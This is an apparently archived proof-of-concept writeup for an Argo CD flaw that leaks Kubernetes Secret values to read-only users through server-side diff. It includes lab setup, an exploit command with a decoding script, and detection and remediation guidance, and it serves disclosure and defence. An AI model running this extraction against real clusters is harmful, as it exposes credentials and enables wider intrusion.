PoC Archive PoC Archive
CVE-2026-42880 category: cloud CVSS 9.6 (CRITICAL)
Patched

Argo CD ServerSideDiff Kubernetes Secret Data Exposure (CVE-2026-42880)

Published: 2026-11-27 • Researcher: HAERIN-L (GitHub); the upstream analysis credits the discoverer as hoang-prod

Target software Argo CD (argocd-server gRPC ServerSideDiff handler, server/application/application.go)
Affected versions 3.2.0 through 3.2.10 and 3.3.0 through 3.3.8. Fixed in 3.2.11 and 3.3.9
Status Weaponized (working extraction is demonstrated in the upstream lab; not executed while preparing this entry)
Severity Critical · CVSS 9.6
CVSS 9.6/10
Severity
Critical
CVE
CVE-2026-42880 (GHSA-3v3m-wc6v-x4x3)
Category
cloud
Affected product
Argo CD (argocd-server gRPC ServerSideDiff handler, server/application/application.go)
Affected versions
3.2.0 through 3.2.10 and 3.3.0 through 3.3.8. Fixed in 3.2.11 and 3.3.9
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-06-01 (upstream commit fad5594, “fix: document cascading script failure in Error 5 of LAB_SETUP_GUIDE”)
Author / ResearcherHAERIN-L (GitHub); the upstream analysis credits the discoverer as hoang-prod
CVE / AdvisoryCVE-2026-42880 (GHSA-3v3m-wc6v-x4x3)
Categorycloud
SeverityCritical
CVSS Score9.6 (CVSSv3.1 base score per NVD; vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N; EPSS 0.00564 in the harvested record)
StatusWeaponized (working extraction is demonstrated in the upstream lab; not executed while preparing this entry)
TagsArgo CD, Kubernetes, Secret disclosure, Server-Side Apply, SSA dry-run, field manager, RBAC, read-only, GitOps, CWE-200, CWE-212, CWE-201
RelatedN/A

Affected Target

FieldValue
Software / SystemArgo CD (argocd-server gRPC ServerSideDiff handler, server/application/application.go)
Versions Affected3.2.0 through 3.2.10 and 3.3.0 through 3.3.8. Fixed in 3.2.11 and 3.3.9
Language / PlatformGo; Kubernetes API server with Server-Side Apply; Linux containers (Kind), argocd CLI, Docker-hosted Gitea as the Git source
Authentication RequiredPartial — any valid Argo CD account with the read-only role (role:readonly) is sufficient
Network Access RequiredYes — HTTP/gRPC access to the Argo CD API server; the attacker does not need Kubernetes credentials

Summary

Argo CD 3.2.x and 3.3.x expose Kubernetes Secret data through the ServerSideDiff handler because that handler returns the result of a Kubernetes server-side-apply dry run to the caller without masking Secret values. The dry run merges every field manager that owns fields on the object, so a Secret whose data fields were written by another controller, by Helm, or by kubectl is returned in full base64 form. A user holding only the read-only role can therefore read the plaintext of every such Secret in a single diff call, turning a routine viewer account into cluster-wide credential disclosure. The flaw is fixed in 3.2.11 and 3.3.9 by passing the predicted and normalized states through the same secret-masking helper used by the other API handlers.

Vulnerability Details

Root Cause

The gRPC ServerSideDiff handler added in Argo CD 3.2.0 computes a diff by asking the Kubernetes API server for a server-side-apply dry run and then writes the returned predictedLive and normalizedLive payloads straight into the ResourceDiff response fields TargetState and LiveState. Every other manifest-serving handler (GetManifests, GetResource, ManagedResources) calls the internal hideSecretData helper first, which replaces Secret data bytes with the repeated pattern 0xfb 0xef 0xbe and therefore renders as a run of plus signs after base64 encoding. The ServerSideDiff handler simply omitted that call, so any Secret present in the diff response came back unmasked.

The second half of the bug is what makes real values appear in the response at all. When an Application carries the annotation argocd.argoproj.io/compare-options set to ServerSideDiff=true,IncludeMutationWebhook=true, the request body sent to the API server contains the Git manifest for the Secret, which usually has metadata and type but no data field when the data is injected at runtime by External Secrets Operator, Vault Agent, Sealed Secrets or a CI pipeline. The server-side dry run merges the contributions of all field managers, including the non-Argo CD manager that owns data, so the predictedLive document contains the live Secret data even though Argo CD itself never owned those fields.

Attack Vector

A user authenticated to Argo CD with only role:readonly runs argocd app diff –server-side-diff (or calls the gRPC ServerSideDiff method directly). The CLI sends the live resources and the Git target manifests to the handler, the handler performs the SSA dry run, and the unmasked predicted state is returned in the diff. The equivalent REST path GET /api/v1/applications//server-side-diff does not reproduce the leak because it requires liveResources and targetManifests to be supplied in the request body and returns nothing useful without them; the managed-resources REST endpoint is also unusable for extraction because the application controller already masks data before storing normalized live state. Authentication is required, but no write, sync, or cluster-level permission is needed.

Impact

Disclosure of the plaintext base64 values of every Secret that meets the three prerequisites. In the lab those are database usernames, database passwords, internal database hosts, live API keys and JWT signing secrets. In production the same primitive reaches database credentials, cloud access keys, container registry tokens, webhook secrets, TLS private keys and service credentials stored as Secrets. Because leaked database and cloud credentials usually grant access well outside Argo CD, the CVSS scope is marked Changed. The request is a normal read-only diff call, so exploitation is difficult to distinguish from routine developer activity without API audit logging.

Environment / Lab Setup

Output
OS:          Linux or macOS host with Docker (8 GB+ free RAM, 15 GB+ free disk)
Target:      Kind cluster cve-vuln running Argo CD v3.2.0, exposed on host port 30080
             production namespace with Secret db-credentials and api-credentials
Git source:  gitea/gitea:1.22 container cve-lab-gitea on the kind Docker network,
             management UI/API on host port 3010, repo gitadmin/manifests.git
Attacker:    A workstation holding only the viewer account credential, which is
             granted role:readonly; no Kubernetes access is used
Tools:       kind, kubectl, docker, argocd CLI, curl, jq, git

Setup Steps

Shell script
1
2
3
4
5
6
7
bash scripts/01-setup-vuln.sh

cat .vuln-viewer-token
kubectl -n argocd get pods

kubectl get secret db-credentials -n production \
  -o jsonpath='{.metadata.managedFields[*].manager}'; echo

The archived manifests are the exact inputs used by the setup script:

  • kind/cluster-vuln.yaml — Kind cluster named cve-vuln with host port 30080.
  • manifests/application.yaml — Application cve-test-app with the ServerSideDiff and IncludeMutationWebhook compare options, auto-sync deliberately disabled so the Application stays OutOfSync.
  • manifests/argocd-cm-patch.yaml — disables TLS for the lab, enables controller.diff.server.side, and registers the viewer account.
  • manifests/argocd-rbac-patch.yaml — grants the viewer account role:readonly.
  • manifests/argocd-nodeport.yaml — exposes argocd-server on NodePort 30080.
  • git-manifests/secret.yaml — the Secret skeleton with no data field that Gitea serves to Argo CD.

Proof of Concept

Step-by-Step Reproduction

  1. Stand up the vulnerable lab — the setup script performs all eight steps and leaves a viewer token in .vuln-viewer-token.

    Shell script
    1
    
    bash scripts/01-setup-vuln.sh
  2. Verify the prerequisite split — data must be owned by external-controller, not argocd-controller.

    Shell script
    1
    2
    3
    
    kubectl get secret db-credentials -n production \
      -o jsonpath='{.metadata.managedFields[*].manager}'
    # Expected: argocd-controller external-controller
  3. Run the diff as the read-only viewer — this is the exploit step.

    Shell script
    1
    
    bash scripts/03-trigger-cve.sh
  4. Read the leaked values and decode one manually — the script prints the decoded value itself, but the same result can be obtained by hand.

    Shell script
    1
    2
    
    echo 'U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=' | base64 -d
    # Sup3rS3cr3tDB!Pass#2026
  5. Optional patched comparison — upstream also ships scripts/02-setup-patched.sh for an identical cluster running Argo CD v3.2.11 on port 30081. It is not archived here because the vulnerable PoC is the archived artifact; the patched cluster should return plus-sign masks and print the PATCHED result.

Exploit Code

See scripts/03-trigger-cve.sh for the complete trigger, which loads the read-only viewer token, runs the server-side diff, parses the predicted-state side of the diff, decodes every unmasked base64 Secret value and prints the vulnerable or patched verdict. scripts/01-setup-vuln.sh builds the entire lab from scratch.

The essential attack is one read-only API call plus a filter for values that are not the mask:

Shell script
1
2
3
4
5
argocd app diff cve-test-app \
  --server localhost:30080 \
  --auth-token "$(cat .vuln-viewer-token)" \
  --server-side-diff \
  --insecure --plaintext
Shell script
1
2
3
4
5
6
7
8
while IFS= read -r line; do
  if [[ "$line" =~ ^\>\ +[a-z_]+:\ +(.+)$ ]]; then
    VAL="${BASH_REMATCH[1]}"
    [[ "$VAL" =~ ^[+]+$ ]] && continue
    [[ "$VAL" =~ ^[A-Za-z0-9+/]{16,}={0,2}$ ]] || continue
    echo "[EXPOSED] $VAL -> $(echo "$VAL" | base64 -d)"
  fi
done <<< "$DIFF_OUTPUT"

Expected Output

Abridged output of the trigger script against the vulnerable v3.2.0 cluster (the live state on the left is masked, the predicted state on the right is not):

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[15:12:03] Running server-side-diff on vuln (port 30080) as viewer ...
  ── diff output (< = live/masked, > = predictedLive/SSA dry-run) ──

  ===== /Secret production/db-credentials ======
  <   db_password: ++++++++
  ---
  >   db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=
  [EXPOSED] predictedLive data value: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY= → decoded: Sup3rS3cr3tDB!Pass#2026

  ⚠  RESULT: SECRET DATA EXPOSED — VULNERABLE (v3.2.0 behaviour)

On the patched cluster the same script prints masked values and the line:

Output
1
  ✓  RESULT: no unmasked data in predictedLive — PATCHED

Detection & Indicators of Compromise

The leak happens inside a normal read-only diff request, so the primary signal is API attribution rather than a malicious payload signature. Argo CD does not log individual API calls by default; enable Kubernetes API server audit logging and Argo CD server request logs, then alert on ServerSideDiff traffic from accounts or tokens that are only supposed to view applications.

Output
Shell script
1
2
3
4
5
6
7
kubectl get applications -n argocd -o json | jq -r '
  .items[] | select(.metadata.annotations["argocd.argoproj.io/compare-options"]
  | tostring | contains("ServerSideDiff=true")) | .metadata.name'

kubectl get secrets -A -o json | jq -r '
  .items[] | select(.metadata.managedFields[]?.manager != "argocd-controller")
  | .metadata.namespace + "/" + .metadata.name'

SIEM / IDS rule (conceptual): alert whenever the Argo CD application-server service account performs a server-side dry-run patch against a Secret resource, or when the ServerSideDiff RPC is invoked by a principal mapped to role:readonly. Upstream also publishes a Nuclei template (nuclei/CVE-2026-42880.yaml) that verifies the three prerequisites over REST without extracting data; it was not copied into this archive because it is a detector, not an exploit.

Remediation

ActionDetail
PatchUpgrade Argo CD to 3.2.11 or 3.3.9 (or later). The fix adds the HideSecretData call in the ServerSideDiff handler so TargetState and LiveState return the plus-sign mask instead of the base64 Secret values.
WorkaroundRemove the argocd.argoproj.io/compare-options annotation from Applications, or disable the feature globally with controller.diff.server.side: “false” in argocd-cmd-params-cm, then restart the application controller. Restrict role:readonly grants while patching.
Config HardeningRotate every Secret that was reachable by a read-only Argo CD account during the exposure window; keep sensitive data out of git and out of the diff path; scope Argo CD RBAC per project; enable Kubernetes API audit logging; enforce least privilege on viewer accounts.

References

Notes

Review verdict: ingested. The repository is a genuine, on-CVE reproduction rather than a detector or placeholder: it installs the exact vulnerable Argo CD release, engineers the three documented preconditions (field-manager split on Secret data, ServerSideDiff plus IncludeMutationWebhook annotation, read-only viewer), and its trigger script actively performs the disclosure and decodes the leaked values, printing an explicit vulnerable or patched verdict. The Nuclei template in the same repository is only a prerequisite checker, so it was deliberately left out of the archive while the trigger script, lab setup script and the manifests that constitute the vulnerability condition were kept.

Scope of what was copied: eleven files, all text. The upstream lab guide, the Korean-language REPORT directory, the Nuclei template, the patched-cluster setup script, the teardown script, the Makefile and the screenshots are not included. No .git directory, binary, archive, lockfile or credential file was copied. The only credentials present are the fabricated lab values that the upstream setup script itself creates (Gitea admin and the read-only viewer); the Secret values are fake test data labelled as such upstream.

License: the upstream repository carries no LICENSE file or license statement, so the material is archived unmodified for research use only and no license is asserted here.

Limitations: the demonstration drives the official argocd CLI against the gRPC endpoint, which is also how a real attacker would exercise the flaw; the REST server-side-diff endpoint does not reproduce the leak without live and target manifests in the request body. Reproducing the lab needs about 8 GB of RAM, 15 GB of disk and roughly ten minutes of setup, plus outbound access to GitHub for the Argo CD install manifest and Docker Hub for kind and Gitea images. The viewer token expires after the default 24 hours and must be reissued. The patched comparison cluster is upstream-only and was not archived, so the expected patched output above comes from the upstream report rather than from an independent run.

Verification performed while preparing this entry: the repository was cloned at commit fad5594 (2026-06-01) and reviewed file by file; nothing was executed. The CVE identifier, affected and fixed versions, CVSS vector, CWE classifications and root-cause description were cross-checked against the harvested NVD record, which matches the product, version ranges and the ServerSideDiff root cause described upstream.